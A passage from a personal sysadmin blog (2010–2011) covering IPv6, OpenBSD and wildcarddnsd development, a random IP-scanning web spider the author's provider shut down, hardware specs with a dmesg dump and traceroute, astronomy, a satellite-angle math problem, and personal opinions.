use the MAC restricted access point? AFAIK an 802.11 packet encrypted or not
still has 3 MAC addresses in its header (see /usr/src/sys/net80211/net80211.h)
so these aren't secret to someone close to sniffing the radio. So he has no
point really.
Cassidy goes to conclude in the second last paragraph: " Is there an IPv6
"killer app" yet for smaller networks? No. Is there any reason based on
security or ease of management - unless you're running a 100.000-seat network
or national-level ISP - for you to move up to it? No.".
I think he's wrong there. Sure there is no "killer app" unless you call
facebook a killer ap (but facebook runs on IPv4 as well). But it's especially
the small ISP's that could benefit from a migration to IPv6. National level
ISP's have huge resources and are out to compete with small ISPs and steal
their customers, and IPv6 means independence from these large networks. It
means that small ISP's keep their customers from switching to large ISP's that
have IPv6 enabled. This is a bonus. Plus, being on a small ISP means that
they give you something that the large ones don't and not usually the opposite.
Windows 95 turns 15
August 24th, 2010
This story was written August 25th, 1995. Windows 95 is now 15 years old.
I never had Windows 95, 98, 2000 but skipped them all other than XP and
Windows 7. Back in 1995 I chose another true 32 bit Operating System. It
was called Linux and I got it in spite of Windows 95. I think I made the
right decision even though I switched to FreeBSD half a year later. It took
only 2 odd years after this feat that I got a System Administration position
at an ISP. I don't think I would have been a UNIX sysadmin had I installed
windows 95 back in 1995, it was a turning point.
One reason why Google has so much market share is that other people who don't
use advertising don't use their resources to their fullest. Even though this
blog has advertising it advertises on a voluntary basis and only for the open
source projects (*BSD's). I looked at my server habits and noticed that I was
using only 5-15GB traffic out of 512GB alloted to my vps plan. That's only
3%. I decided that I wanted to raise that traffic a little to perhaps 33%.
Some people have suggested I put some porn on my website, but I don't have any
porn to put up nor do I really want to serve pornography.
So I've written
randombot. Randombot is a web spider that instead of looking up Internet
names it just queries IP addresses and looks for default web pages. I've been
running it 3 days now and it looks promising in raising my traffic. It also
caches the content given to it, so far I have several hits on business sites
to a farm sitter operation in australia. It delights me seeing someone elses
website that randombot found, even though I can't use someones small business
in virginia or somewhere. And I would have never _ever_ come across these
sites if I were to google. Anyhow so far randombot is found at
solarscale.de/randombot if anyone
wants to check it out they can.
I do realise that there is a lot of websites that can't be reached because
they don't use an IP solely for their website. That's tough. Also if you
happen to come across porn with randombot please report it, I'll remove it,
I've found some shocking stuff with randombot that I've deleted already.
God didn't create the Universe?
September 6th, 2010
Stephen Hawking says god
did not create the universe. I'm not such a believer in god. I'm not
even sure if god is still alive. But I do believe that god created the
universe. It may have been a lot smaller back then, but it had to be a
mechanism that created it. And I call that mechanism god. God doesn't look
like us I believe and I surely don't think god chose our earth to live out
his days with us. No. God is somewhere else or dead, but what we have, the
laws of nature, the universe and the possible multiverse were all created
by this creature. If god didn't create the universe then I don't think it's
a true god, but rather a steward to the creator. Not quite the same thing.
Peace.
Randombot is off
September 8th, 2010
Well I got a cryptic email from the abuse department of my provider.
Apparently I tripped over some honeypots and they thought randombot was
a conficker.c type program. There go my plans on providing a search
engine similar to Google! :-(. Randombot is off indefinitely.
The inside of uranus.centroid.eu
September 9th, 2010
It's my pride and joy. This (avi, 7MB) is
uranus.centroid.eu. That's how it looked like on the first day I got it.
I use the video to look inside it to know what slots the RAM is located, the
vidcard is located and see what sort of expansion I can put into it. Right
now it's changed a little. It has a second SSD card for the OS and I also
put a PCI NIC in there for expansion of network stuff. There is also a
chance that I'll be getting pluto, my parents old computer, I'll be networking
that to uranus then. Also worth mentioning is that I recently found out that
I don't get lockups if I turn off Hyperthreading, but I just can't live without
Hyperthreading so I turned Speedstep off and it became just as stable.
PS: Yes this is really uranus2 but the old uranus was renamed neptun (no e, for
german version of neptune) and my parents have it now. The next computer will
likely be named saturn and then jupiter, mars, earth, venus, mercury, sun.
Pre-ordered OpenBSD 4.8
September 11th, 2010
Well, I just pre-ordered OpenBSD 4.8
, for the maximum in Internet security. I bought it from
OpenBSD Europe and with shipping,
shipping insurance and paypal fees this cost 49.86 euros. Much better than
the cost of Solaris these days. With every newer release OpenBSD releases
a song. You can listen to it here.
Update: whoops it has a bug, that causes a flood on a set of nameservers, I'll
have to fix that. I hope noone is testing this just yet.
Equinox in a few days
September 19th, 2010
Well it's here again, twice a year and this is the second time. Yes it's the
Equinox. To be precise it's
on September 23rd, at 3:09 UTC. It also marks the first day of autumn in the
northern hemisphere. The southern hemisphere moves into spring.
Ok so uranus.centroid.eu is a computer with the following specs:
Cooler Master Powersupply GX 650Watts
Corsair xms3 8GB DDR3 (4x2GB) RAM
Intel X25-m Sata Solid-State-Drive 160 GB (vmware drive)
Intel X25-m Sata Solid-State-Drive 80 GB (system drive)
ASUS P6T SE Motherboard
Intel Core i7-930 2.80 Ghz 8MB 4.8GT CPU
MSI N250GTS Twin Frozr 1G 1GB DDR3 VGA card
LG BH10LS30 Blu-ray Disc Rewriter
The Operating System that runs on it is Ubuntu 10.04 LTS and gives this:
pjp@uranus:~$ uname -a
Linux uranus 2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux
I run the Gnome desktop on it and now that Hyperthreading is turned off it has
four not eight cpus. Basically I want to say to anyone who wants to buy such
a system as mine to reconsider. I'm plagued with lock-ups and
only now that I have turned hyperthreading off in the BIOS has it been stable
(so far).
The downside of having hyperthreading turned off is that programs start up slower in my opinion although they get a decent instructions per second benchmark
from BOINC. I also run BOINC (seti@home) on this machine as well as Vmware
Workstation 7.1.1 (x86_64 version) with at least 7 guests at any time.
Operating systems that run on this VMware Workstation are:
Microsoft Windows 7 Home Edition
Linux (OpenSuse 10.3 and Ubuntu)
OpenBSD 4.7 (main desktop/vm)
NetBSD 5.0.1
FreeBSD 8.1-RELEASE
Solaris 10 (currently off)
DragonflyBSD (currently off)
FreeBSD 9.0-CURRENT (currently off)
Occasionally I look at BIOS updates for the motherboard but as of last month
I had the highest version available.
I use the system for programming, system administration support (with vmware
this is easy) and everyday tasks. I don't game, this is not a gamer system
for me. I do use iTunes as I had a brief Mac OS X history.
Wildcarddnsd now over 10,000 lines of C code
September 30th, 2010
Well, I've been anticipating this for a few weeks now.
Wildcarddnsd grew
to over 10,000 lines of C code. It's not all my C code though. I added
some outside code (code re-use) with the recursion stuff. There is the
arc4random() code from OpenSSH and the checksumming code from tcpdump, both
licensed with a BSD license so it's compatible to wildcarddnsd's BSD license.
Wildcardnsd will likely grow beyond this as there needs to be new code put in
place to make CNAME linking possible (as well as CNAME loop detection).
To make domains such as www.yahoo.com or wildcarddns.cvs.sourceforge.net work.
Happy Anniversary FSF!
October 5th, 2010
Well slashdot made me aware of this. Yesterday the
FSF
turned 25. I think I even donated some duckets to them in the past too
because I remember I got a note from FSF Europe thanking me or something.
I'm not living in some fantasy world, currently, and reality is that OpenBSD
which is my favourite OS still uses the GNU compiler, gcc, and debugger, gdb
as well as gas, objdump and other utilities from the FSF. I use gdb and gcc
quite often in my development of open source software and so I gotta say
thanks again! Perhaps I'll make a donation in the future again.
Random Hackepedia
October 9th, 2010
We haven't had a random hackepedia in a while, and today I want to do something
a bit different. It's the not-so random hackepedia. I've been working on
a C Primer at Hackepedia over the last few months and want to show you the
Primer. Just click
on the link, I hope you can make something of it.
Observing Alpha Persei
October 17th, 2010
Unfortunately I wasn't able to make a picture of this but I'll just put an
xephem screenshot out. I observed
Alpha Persei aka Mirfak
at NEE (60 degrees azimuth) at an altitude of about
30 degrees tonight at 9:44PM. I couldn't help but notice that the star was
flickering but that could have been our atmosphere at work.
Perhaps you noticed it too, I'm waiting for Capella to rise beyond the hill
that's in the way, btw.
PS: it turned out I made a mistake with the degrees altitude, the star was
actually Capella
, but I located Alpha Persei after that as well (at 50 degrees altitude).
That means I saw Capella flickering instead of Mirfak.
Downtime Wednesday/Thursday
October 19th, 2010
On the night of Wednesday at 11PM CEST until 8AM Thursday morning CEST, proteus
the main solarscale.de/centroid.eu server will be down. So there might be a
service interruption in reading this blog (oops). Proteus is moving to
Strasbourg, France from Frankfurt, Germany. The details on Europes greenest
data center where this is moving are found
here. I'm gonna see if I can move the
DNS balancing to the Panama VPS for the time being (I just hope I don't forget
to undo it after the move).
PS: The maintenance went fine.
Oct 20 23:13:06 proteus exiting on signal 15
Oct 21 05:50:23 proteus syslogd 1.4.1: restart.
That's the time that proteus was off for. So roughly 6 and a half hours.
The position of proteus in the network hasn't changed much, there is a 3 ms
difference and the routers are the same except for 1 new address. But
proteus is in France now, not Germany.
Multiculturalism dead? Is melting pot better?
October 20th, 2010
This past weekend german Chancellor Angela Merkel declared multiculturalism
dead in Germany, and the key word for strive is now "Integration". This
means people who immigrated to Germany have to learn the german language
foremost and try to fit the norm. To me it just means giving up. In the
model of culture, multiculturalism is the hardest to sustain. Just like in
the model of politics democracy is weaker than a dictatorship. But we don't
want to go there because dictatorships are politically incorrect, yet, they are
easy to have. Just like the melting pot. I don't know how long Germany had
multiculturalism. It was even the first time I heard of it this weekend,
meaning it barely touched the population. But I'm pretty sure that the so-
called multiculturalism will have left a minute trace of positive in the
fabric of culture. Something that Angela Merkel and her exceedingly right
shifting party will.. or may never get. The harder a civilization tries to
uphold the weak, different, and minority the stronger it is
in its roots, and the more likeable it is in the end.
I made this picture with xearth and it shows the VPS's I have except in
singapore. I'd like to have a VPS in Singapore too but it's expensive last
I checked (something like 50 singaporean dollars which is like over 20 euros
a month). If centroid.eu ever makes money I'll consider the singaporean
VPS and balance traffic globally in such a manner that ASIA-Pacific traffic
goes to Singapore,
EMEA traffic goes to proteus which is in
France and Americas
traffic goes to goldflipper.net which is in
Panama.
Got OpenBSD 4.8 in the Mail
October 25th, 2010
Well, I got the OpenBSD 4.8 CD's in the mail today. I'm very happy about this.
I'll be building dione.centroid.eu with this soon.
I made an install video (like I do every release) you can watch it
here.
Glad to be of help
October 31st, 2010
OpenSMTPd the OpenBSD mail daemon that is in the works, had a call for testers
on the new DNS code that the daemon is using. Due to my work with wildcarddnsd
I'm somewhat familiar with DNS and was able to make a
contribution.
Not in the form of patches which would have been nice but questioning whether
the opensmtpd dns code withstood a certain scenario. It turns out given a
second opinion that I was
"totally right". This really made me happy and the
opensmtpd is more robust as a result. This is why open source is so good
because people can read the code and spot errors before they write exploit
code to stress test an application (black box). If I had to write the exploit
code it would have taken way more time than what it took up.
I should have done this a long time ago but I just released the file
wildcarddnsd-beta5p4.tgz to sourceforge, this has a fix that makes the
tcp and udp interaction on the server more reliable. The download is
here
and the branch for BETA_5STABLE is here. If you
get TCP requests to a running wildcarddnsd you really want to get this.
In other news, I'm delighted to say that people from Indonesia are the top
downloaders of wildcarddnsd according to the stats at sourceforge.net. Thank
you! Next are Indians and Russians in the top three. Thanks to you too. I
noticed a lot of asians are interested in wildcarddnsd, which is cool.
As for BETA_6 it will probably take until next year. BETA_6 will have
recursing and caching. It has it in -current now but it's broken somewhat
and needs a good debugging.
Ordered two books
November 21st, 2010
I just ordered 2 books from Amazon.de. One is Pro DNS and Bind from
Ron Aitchison and the other is called "DNSSEC" I'm unsure of the author.
The latter is a compilation of RFC's and other material related to DNSSEC,
which I want to use in my implementation of wildcarddnsd. Hopefully the
books will help me understand DNSSEC better so that I can implement this
in the authoritative server side soon.
I shoulda done this a long time ago but I finally got some money in my
paypal account and I donated 10 dollars to the FreeBSD Foundation.
I hope they can use it wisely.
Math Problem (angle to satellite)
December 1st, 2010
Here is a math problem. Get out your old Trigonometry notes and solve the
following. A satellite (Galaxy 15 for illustration purposes) is 35,779
kilometers above the surface of the earth in Geostationary orbit. Given
that the earth has a radius of 6371 kilometers find out what the angle from
the ground to the satellite is given that someone stands at 49 degrees north.
Here is a picture:
Line ACB is perpendicular to line EC (6371 kilometers). Line EBD is
6371 kilometers + 35,779 kilometers, so 42150 kilometers. What we're looking
for solving is angle BCD.
Last year we had it on December 23rd, this year a bit sooner. Here is a
sum-up from the year that passed.
January 6th - new project "cryologd" which encrypts log files
January 22nd - Oracle buys Sun.
January 27th - 24 years of computing history for myself.
February 15th - ordered Bruce Schneiers "Cryptography Engineering" book.
February 17th - OpenSMTPd bug identified and fixed. This bug was a remote
DoS on the smtpd.
March 9th - Wildcarddnsd at BETA_4.
March 16th - got a digial camera for my birthday. Point and shooter.
March 20th - OpenBSD releases the 4.7 song about superpuffy.
April 18th - graphics on this blog were changed.
May 10th - ICANN releases International domain names to the public.
May 21st - My friend Dan Moschuk passes away. RIP Dan. You'll be
remembered always.
May 25th - I registered goldflipper.net.
May 26th - I purchased a new computer, a Core i7-930 beast with 8 gigs of ram.
June 5th - this blog now uses PHP in order to serve random open source ads
as well as easing the updating of the history.
June 13th - Facebook does IPv6 at http://www.v6.facebook.com, have always
used it since.
June 21st - Saturn, Mars and Venus are in a straight line alignment a very
rare celestial event.
June 29th - Started Docking@home on my computer. The project aims to help
cure diseases such as Human Immunodeficiency Virus (HIV).
July 3rd - noticed that some koreans tried to brute-force into my computer
via pop3.
July 7th - coded SSL support in my fire irc client.
July 9th - saw the ISS for the first time in orbit from earth.
August 24th - Windows 95 turns 15 years old.
September 5th - coded Randombot which randomly searches for web pages out
there. ISP cuts it off due to it similarity with conficker.
September 19th - Wildcarddnsd-current recurses but is far from stable.
September 30th - Wildcarddnsd grows beyond 10,000 lines of code.
October 5th - the FSF turns 25.
October 25th - got OpenBSD 4.8 in the mail.
October 31st - helped fix an OpenSMTPd bug in the new DNS code.
November 21st - ordered 2 books from Amazon. Pro DNS and Bind and DNSSEC.
Both are excellent books.
November 26th - donated 10 USD to FreeBSD Foundation. They deserve it.
December 10th - decided to scuttle proteus.solarscale.de vps in favour for
a soekris board.
I have mixed feelings about this year...
New Plans in the centroid network
December 10th, 2010
If you haven't noticed already, I've switched the dns records for solarscale.de
and centroid.eu to goldflipper.net solely. This is in anticipation of quitting
the proteus.solarscale.de vps. Instead what I'm going to do for europe is
buy a soekris router, that has no fans or drives and make that a permanent
presence on the internet off my DSL. I'm keeping the goldflipper.net VPS
for now. I've also been looking around Asia and Europe for a replacement VPS
but I'm not sure I really need it. So why am I doing this? There is many
reasons I'm going to list a few here:
proteus.solarscale.de's provider does deep packet inspection and has
mis-identified one of my programs as conficker.c (an abuse case).
I'd really wish I could have a BSD VPS instead of Linux.
The OS available to proteus is opensuse 10.3 which is almost 4 years old.
They haven't upgraded my plan when they offered new stuff which really irked me.
Their user interface is broken and says nothing about traffic statistics
anymore and it has been broken for a few months now.
They don't offer IPv6 connectivity and now is the time to roll that out.
Well that's just some of the reasons.
A million eyeballs for Theo
December 17th, 2010
Recently, Theo de Raadt, the founder of OpenBSD and hacker hero has made this
announcement. In it is an allegation that a member of OpenBSD put
backdoors into OpenBSD code for the FBI. A code review will result of this.
Just, who is going to do this? Theo then voiced his
frustrations
with the OpenBSD community because our trust level is too high with the
developers. He wants us to be less lazy and review code and say something
when something is out of the ordinary. He doesn't believe in Eric Raymonds
statement of "many eyes
make bugs shallow".
Here is my idea. I want a PAGER, or an EDITOR that reports to OpenBSD at what
code I'm currently looking in, how long I'm looking at a certain section of
the code, what host I'm from and how idle I am and of course the time of date.
The editor or pager is voluntarily used by the community and gives feedback
to the OpenBSD high command how many eyes really are looking at the code.
Who is looking at the code is another question that may be evaluated because
a novice programmer trying to read kernel code will likely get confused and
won't be much help in solving complicated structures of the code. In the
end I'd like a graph made that shows exactly what areas have been "audited"
by eyeballs and which areas are neglected. It should also show which areas
get special attention, perhaps indicating a non-bugfree zone. Anyhow I want
to show Theo that we do occasionally read the code, and the small community
does too. We're really small only a few thousand on the mail list according
to majordomo, so... I think this would really really help us as a community.
Administrivia
December 17th, 2010
When should this blog start to forget? This question has been with me for
some time now. The idea is that after some time data and metadata should
get deleted. I'd like to see this in search engines such as Google,
personally. So I should practice what I preach. I'm going to make this
blog a first in/first out queue with a buffer length of 25 pages. This
means that possibly in February of 2011 I'll start deleting January of 2009.
We'll see how it goes.
On December 21st the sun is at
solstice again. For us
in the northern hemisphere it's at its lowest point of the year at high noon.
To explain it best take a look at this analemma photo provided by NASA last year. The picture
is a composite of pictures taken at the same time every day. The lowest point
is where the December solstice would be (for the northern hemisphere).
Merry Christmas
December 24th, 2010
Merry Christmas...
Math Problem solved, new problem
December 25th, 2010
I got a scientific calculator for Christmas. (A Casio fx-85ES). With it I
solved the math problem from December 1st. The angle BCD is 33.7829 degrees.
This would be the elevation of the satellite dish pointed at the satellite if
it were exactly south (or on the same longitude). Now in reality a satellite
is rarely on the same longitude but rather a bit off by a few degrees. Find
out the elevation of the satellite dish if your latitude is 49 degrees and
your longitude is 0 degrees (puts you in France somewhere). The satellite
is in 20 degrees West longitude. Also find out the angle that your satellite
dish should be moved toward west. Once you have finished these steps create
a C program that solves for the following input 1) altitude (height) of
satellite, 2) orbital slot of satellite (longitude), 3) your position in
longitude and latitude. The output should be the elevation of the satellite
dish and the East/West alignment of dish.
I've put the IPv4 exhaustion counter on this webpage. It's at the bottom
right column. As of January 1st we have 48 days left. Hello IPv6!
I habe den IPv4 Erschoepfungszaehler an diese Webseite verlinkt. Es ist
unten rechts auf der Seite. Seit dem ersten Januar haben wir noch 48 Tage
bis zur erschoepfung. Hallo IPv6!
Could this blog become bilingual?
January 1st, 2011
I'm toying with the thought of making this blog bilingual english/german.
Ich spiele mit dem Gedanken, diesen Blog zweisprachig (Englisch/Deutsch) zu
machen.
Book wishlist
January 2nd, 2011
I found this book at Amazon that I want to get to help me with my math problem
from last year. Here is the
book.
Ich habe das oben verlinkte Buch auf Amazon gefunden. Ich denke es koennte
helfen mit meinem Mathematik problem vom letzten Jahr.
Got the Lanner!
January 4th, 2011
I got the Lanner today. After figuring out the com0 console thing I was able
to boot OpenBSD on it. I still need a SATA SSD for it which will arrive in the
next few days. I'll post a full dmesg once I get it installed.
Ich habe heute den Lanner bekommen. Nachdem ich erst mal herausfinden musste
wie die com0 Konsole geht habe ich auch OpenBSD stiefeln koennen (:-)). Ich
brauch noch die SATA SSD fuer dieses ding, es wird noch ein paar Tage dauern.
Sobald ich OpenBSD installiert habe werde ich eine dmesg posten.
The below is a comparison with a cigarette lighter. That's how small it is.
OpenBSD + Lanner FW 7530B dmesg
January 5th, 2011
OpenBSD 4.8 (RAMDISK_CD) #89: Mon Aug 16 09:24:20 MDT 2010
deraadt@i386.openbsd.org:/usr/src/sys/arch/i386/compile/RAMDISK_CD
cpu0: Genuine Intel(R) CPU N270 @ 1.60GHz ("GenuineIntel" 686-class) 1.60 GHz
cpu0: FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH
,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,SBF,SSE3,MWAIT,DS-CPL,EST,TM2,SSSE3,xTPR,
PDCM,MOVBE
real mem = 1064652800 (1015MB)
avail mem = 1040326656 (992MB)
mainbus0 at root
bios0 at mainbus0: AT/286+ BIOS, date 11/25/09, BIOS32 rev. 0 @ 0xf0010,
SMBIOS rev. 2.4 @ 0xfc990 (28 entries)
bios0: vendor American Megatrends Inc. version "080015" date 11/25/2009
acpi0 at bios0: rev 0
acpi0: sleep states S0 S1 S4 S5
acpi0: tables DSDT FACP APIC MCFG OEMB ASF!
acpimadt0 at acpi0 addr 0xfee00000: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: apic clock running at 133MHz
cpu at mainbus0: not configured
ioapic0 at mainbus0: apid 2 pa 0xfec00000, version 20, 24 pins
ioapic0: misconfigured as apic 1, remapped to apid 2
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 5 (P0P1)
acpiprt2 at acpi0: bus 1 (P0P4)
acpiprt3 at acpi0: bus 2 (P0P5)
acpiprt4 at acpi0: bus 3 (P0P6)
acpiprt5 at acpi0: bus 4 (P0P7)
acpiprt6 at acpi0: bus -1 (P0P8)
acpiprt7 at acpi0: bus -1 (P0P9)
bios0: ROM list: 0xc0000/0xec00!
pci0 at mainbus0 bus 0: configuration mode 1 (bios)
pchb0 at pci0 dev 0 function 0 "Intel 82945GME Host" rev 0x03
vga1 at pci0 dev 2 function 0 "Intel 82945GME Video" rev 0x03
wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation)
"Intel 82945GM Video" rev 0x03 at pci0 dev 2 function 1 not configured
ppb0 at pci0 dev 28 function 0 "Intel 82801GB PCIE" rev 0x02: apic 2 int 16
(irq 10)
pci1 at ppb0 bus 1
em0 at pci1 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2
int 16 (irq 10), address 00:90:0b:19:56:04
ppb1 at pci0 dev 28 function 1 "Intel 82801GB PCIE" rev 0x02: apic 2 int 17
(irq 11)
pci2 at ppb1 bus 2
em1 at pci2 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2
int 17 (irq 11), address 00:90:0b:19:56:05
ppb2 at pci0 dev 28 function 2 "Intel 82801GB PCIE" rev 0x02: apic 2 int 18
(irq 5)
pci3 at ppb2 bus 3
em2 at pci3 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2
int 18 (irq 5), address 00:90:0b:19:56:06
ppb3 at pci0 dev 28 function 3 "Intel 82801GB PCIE" rev 0x02: apic 2 int 19
(irq 15)
pci4 at ppb3 bus 4
em3 at pci4 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2
int 19 (irq 15), address 00:90:0b:19:56:07
uhci0 at pci0 dev 29 function 0 "Intel 82801GB USB" rev 0x02: apic 2 int 23
(irq 6)
uhci1 at pci0 dev 29 function 1 "Intel 82801GB USB" rev 0x02: apic 2 int 19
(irq 15)
uhci2 at pci0 dev 29 function 2 "Intel 82801GB USB" rev 0x02: apic 2 int 18
(irq 5)
uhci3 at pci0 dev 29 function 3 "Intel 82801GB USB" rev 0x02: apic 2 int 16
(irq 10)
ehci0 at pci0 dev 29 function 7 "Intel 82801GB USB" rev 0x02: apic 2 int 23
(irq 6)
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 "Intel EHCI root hub" rev 2.00/1.00 addr 1
ppb4 at pci0 dev 30 function 0 "Intel 82801BAM Hub-to-PCI" rev 0xe2
pci5 at ppb4 bus 5
em4 at pci5 dev 2 function 0 "Intel PRO/1000GT (82541GI)" rev 0x05: apic 2
int 18 (irq 5), address 00:90:0b:19:56:08
em5 at pci5 dev 3 function 0 "Intel PRO/1000GT (82541GI)" rev 0x05: apic 2
int 19 (irq 15), address 00:90:0b:19:56:09
ichpcib0 at pci0 dev 31 function 0 "Intel 82801GBM LPC" rev 0x02: PM disabled
pciide0 at pci0 dev 31 function 1 "Intel 82801GB IDE" rev 0x02: DMA,
channel 0 configured to compatibility, channel 1 configured to compatibility
pciide0: channel 0 disabled (no drives)
pciide0: channel 1 ignored (disabled)
pciide1 at pci0 dev 31 function 2 "Intel 82801GBM SATA" rev 0x02: DMA,
channel 0 configured to native-PCI, channel 1 configured to native-PCI
pciide1: using apic 2 int 19 (irq 15) for native-PCI interrupt
"Intel 82801GB SMBus" rev 0x02 at pci0 dev 31 function 3 not configured
usb1 at uhci0: USB revision 1.0
uhub1 at usb1 "Intel UHCI root hub" rev 1.00/1.00 addr 1
usb2 at uhci1: USB revision 1.0
uhub2 at usb2 "Intel UHCI root hub" rev 1.00/1.00 addr 1
usb3 at uhci2: USB revision 1.0
uhub3 at usb3 "Intel UHCI root hub" rev 1.00/1.00 addr 1
usb4 at uhci3: USB revision 1.0
uhub4 at usb4 "Intel UHCI root hub" rev 1.00/1.00 addr 1
isa0 at ichpcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
com0: console
com1 at isa0 port 0x2f8/8 irq 3: ns16550a, 16 byte fifo
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
npx0 at isa0 port 0xf0/16: reported by CPUID; using exception 16
rd0: fixed, 3800 blocks
umass0 at uhub0 port 2 configuration 1 interface 0 "JMicron USB to
ATA/ATAPI Bridge" rev 2.00/1.00 addr 2
umass0: using SCSI over Bulk-Only
scsibus0 at umass0: 2 targets, initiator 0
cd0 at scsibus0 targ 1 lun 0: SCSI0
5/cdrom removable
softraid0 at root
root on rd0a swap on rd0b dump on rd0b
Inspiring article
January 5th, 2011
The next net is an
interesting write-up and a call to all netizens for our own network with our
own values.
Der oben gelinkte Link "The next net" ist sehr interessant und ist ein Aufruf
zu allen Netz-Buergern fuer unser eigenes Netzwerk das unsere Vorstellungen
beschreibt.
Grid Computing
January 9th, 2011
Grid computing is distributed computing. When many nodes (computers) all
contribute to some distributed computing effort. Here is my
contribution to grid computing. I do
computing on one core for seti search, hiv simulations etc. The question is
when will we get paid (money) for offering our grid nodes. And will this be
more than what cloud computing nodes charge for. I doubt it'll be more, or
everyone would rush to make grid computing farms on cloud computers. There
has to be a balance. Grid computing is sorta the inverse of cloud computing.
Grid Computing ist ein Verteiltes Rechnen. Viele Grid-Knoten (Computer)
beteiligen sich zu einer verteilten Rechenaufgabe. Der obere Link zeigt
meine Grid-Computing Beteiligung. Ich habe eine Rechenaufgabe auf einem
Rechner-core fuer Seti Suche, HIV Simulationen etc. Die Frage ist, wann
werden wir dafuer bezahlt werden (mit echtem Geld) wofuer wir unsere Rechner
zu Verfuegung stellen. Und wird es mehr Geld sein als Cloud Computing
Knoten verlangen? Ich glaube nicht, dass es mehr sein wird, oder jeder wuerde
Grid Computing auf Cloud Computern haben. Da muss es eine Balance geben. Grid
Computing ist ein bisschen das Umgekehrte von Cloud Computing.
Grid computing that's paid could be used to do work on over-capacity of
electricity, on smart grid electrical networks.
A friend and I set up an online radio station that will be streaming from
3PM-10PM Eastern Time (North American Eastern) every wednesday. We did some
test streamings
from my VPS in France and decided it was better to be streaming where the
main listening audience is, in Canada. So we're in the process of seeking
the right VPS near Toronto. Check out
www.dj-jaz.com for more info on the stream. I'm doing a pre-recorded
show every odd Wednesday of the month (so 1st, 3rd and 5th Wednesday)
subjected on Computers and Networks. My show is called "Peter's Computer
Show".
Ein Freund und ich sind in den vorbereitungen ein radio stream aufzubauen.
Es geht Mittwochs, von 9Uhr bis 4Uhr Nachts Mittel Europa Zeit. Wir haben
schon den
stream mal getestet von meinem VPS in Frankreich aus. Dann beschlossen wir
uns einen VPS in Kanada anzulegen, da wo die meisten Hoerer sind.
Ihr koennt mehr erfahren von dem Stream von
www.dj-jaz.com. Ich bin DJ einer aufgenommenen Show jeden ersten
dritten und fuenften Mittwoch des Monats. Worueber ich sprechen werde wird
Computer und Netzwerke sein. Meine show heisst "Peter's Computer Show".
Das Radio ist in der Englischen Sprache.
A recent article (german) predicts the
future for the German Internet Exchange (in Frankfurt) called
DE-CIX. They
predict that the traffic will increase 20 fold by 2015. In a traceroute from
my DSL it shows the route going from Schweinfurt to Nuremberg to Frankfurt
(DE-CIX) back to Erlangen (which is 30 km away from Nuremberg) and there to
the ftp.de.openbsd.org server that serves my packages for OpenBSD. It's a
route that makes little sense, and if Erlangen was connected for cheap to
N-IX
(the Nuremberg Internet Exchange) then a lot of traffic would be kept
away from DE-CIX strengthening the Internet as there isn't that single point
of failure in the way.
A route showing path from schweinfurt-nuremberg-frankfurt-erlangen...
...
4 ppp-default.m-online.net (82.135.16.28) 68.485 ms 50.483 ms 46.633 ms
5 gi1-8-171.r1.nue2.m-online.net (212.18.7.121) 45.863 ms 47.948 ms 46.186 ms
6 xe-2-2-0.rt-decix.m-online.net (212.18.6.166) 49.903 ms 49.974 ms 49.825 ms
7 zr-fra1-te0-0-0-3.x-win.dfn.de (80.81.192.222) 50.725 ms 51.753 ms 52.530 ms
8 zr-erl1-te0-0-0-4.x-win.dfn.de (188.1.145.197) 64.62 ms 66.4 ms 65.651 ms
...
Ein kuertzlicher Artikel prognostiziert
die Zukunft des Deutschen Internet Exchange (in Frankfurt am Main) der
DE-CIX
heisst. Sie prognostizieren das der Internet Verkehr um das 20 fache steigen
wird bis 2015. In einer traceroute von meinem DSL zeigt es das die Route
von Schweinfurt durch Nuernberg, durch Frankfurt (DE-CIX) und von dort zurueck
nach Erlangen geht (was 30 KM von Nuernberg ist). Den Server fuer die Route
ist ftp.de.openbsd.org der OpenBSD Packete haust. Diese Route macht wenig
Sinn und falls Erlangen mit einer billigen Leitung direkt and den
N-IX
(Nuernberg Internet Exchange) angeschlossen waehre dann wuerde viel
Verkehr von DE-CIX weggeleitet werden. Diese wuerde das Internet staerken
da es kein einzelnen Bruchpunkt (Frankfurt) gibt.
Outage for solarscale.de
January 31st, 2011
I transferred the domain solarscale.de to another registrar and something
blew up. The domain has its nameservers set to the old NS servers but the
old registrar had deleted the domain from its nameservers as soon as the
transfer was initiated. I'm losing email :-(. I'm not sure what caused this
mess because the notify email was on the solarscale.de domain and that
ceased as soon as the old registrar deleted the zone. I've written my
current registrar and am awaiting answers. It could be a 5 day outtage.
Not too cool.
Ich habe einen Domain Namen Transfer mit solarscale.de begonnen und irgendetwas
ging schief. Der Domain hat jetzt gerade die Nameservers von den alten
Registrar registriert und der alte Registrar hat die Namenseintrage der
Zone schon geloescht (sobald der Transfer durchging). Ich verliere mail. :-(.
Ich bin nicht sicher was diesen schlamassel produzierte da die notify emails
am solarscale.de domain hingen und das hat natuerlich aufgehoert als die
Zone geloescht wurde. Ich habe den Registrar geschrieben und erwarte 'ne
antwort. Es koennte eine 5 taegige stoerung sein. Nicht so cool.
Update: Tue Feb 1 11:33:16 CET 2011
The nameservers I had specified had the zone solarscale.de in non-compliance
with DEnic the german NIC. It finally switched over to the right nameservers
and I'm happy. It may take another day for the right nameservers to
propagate over to the new ones, but servers that haven't queried solarscale.de
in the last day will get the right data like so:
$ ping -c 1 www.solarscale.de
PING www.solarscale.de (200.46.208.61) 56(84) bytes of data.
64 bytes from goldflipper.net (200.46.208.61): icmp_seq=1 ttl=55 time=104 ms
--- www.solarscale.de ping statistics ---
